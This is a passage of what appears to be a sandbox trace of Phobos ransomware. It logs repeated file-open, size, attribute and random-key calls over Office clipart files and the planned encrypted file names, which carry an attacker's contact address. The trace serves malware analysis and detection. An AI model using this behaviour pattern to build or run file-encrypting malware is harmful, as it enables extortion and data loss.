office\\root\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.396] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11553) returned 1 [0152.397] CloseHandle (hObject=0x580) returned 1 [0152.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg")) returned 0x220 [0152.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.397] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.398] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=40586) returned 1 [0152.398] CloseHandle (hObject=0x580) returned 1 [0152.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0290548.wmf")) returned 0x220 [0152.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0290548.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.399] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.400] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9616) returned 1 [0152.400] CloseHandle (hObject=0x580) returned 1 [0152.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0291794.wmf")) returned 0x220 [0152.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0291794.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.401] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292248.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.402] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8420) returned 1 [0152.402] CloseHandle (hObject=0x580) returned 1 [0152.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292248.wmf")) returned 0x220 [0152.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292248.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292248.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.402] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.403] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31398) returned 1 [0152.403] CloseHandle (hObject=0x580) returned 1 [0152.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292270.wmf")) returned 0x220 [0152.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292270.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.404] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.404] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7012) returned 1 [0152.404] CloseHandle (hObject=0x580) returned 1 [0152.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292272.wmf")) returned 0x220 [0152.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292272.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.405] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.405] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13912) returned 1 [0152.405] CloseHandle (hObject=0x580) returned 1 [0152.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292278.wmf")) returned 0x220 [0152.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292278.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.406] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.407] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19286) returned 1 [0152.407] CloseHandle (hObject=0x580) returned 1 [0152.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292286.wmf")) returned 0x220 [0152.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292286.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.408] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293800.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.408] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4774) returned 1 [0152.409] CloseHandle (hObject=0x580) returned 1 [0152.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293800.wmf")) returned 0x220 [0152.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293800.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293800.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.410] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.411] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6078) returned 1 [0152.411] CloseHandle (hObject=0x580) returned 1 [0152.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293832.wmf")) returned 0x220 [0152.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293832.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.412] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.413] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14302) returned 1 [0152.413] CloseHandle (hObject=0x580) returned 1 [0152.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294989.wmf")) returned 0x220 [0152.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294989.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.414] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.415] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24960) returned 1 [0152.415] CloseHandle (hObject=0x580) returned 1 [0152.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294991.wmf")) returned 0x220 [0152.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294991.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.415] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0295069.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.417] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8626) returned 1 [0152.417] CloseHandle (hObject=0x580) returned 1 [0152.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0295069.wmf")) returned 0x220 [0152.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0295069.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0295069.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0295069.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.418] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.419] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=58412) returned 1 [0152.419] CloseHandle (hObject=0x580) returned 1 [0152.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296277.wmf")) returned 0x220 [0152.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296277.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.419] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.516] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=67726) returned 1 [0152.516] CloseHandle (hObject=0x580) returned 1 [0152.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296279.wmf")) returned 0x220 [0152.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296279.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.517] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.518] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8420) returned 1 [0152.518] CloseHandle (hObject=0x580) returned 1 [0152.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309904.wmf")) returned 0x220 [0152.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309904.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.518] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309920.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.519] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11064) returned 1 [0152.519] CloseHandle (hObject=0x580) returned 1 [0152.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309920.wmf")) returned 0x220 [0152.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309920.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309920.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 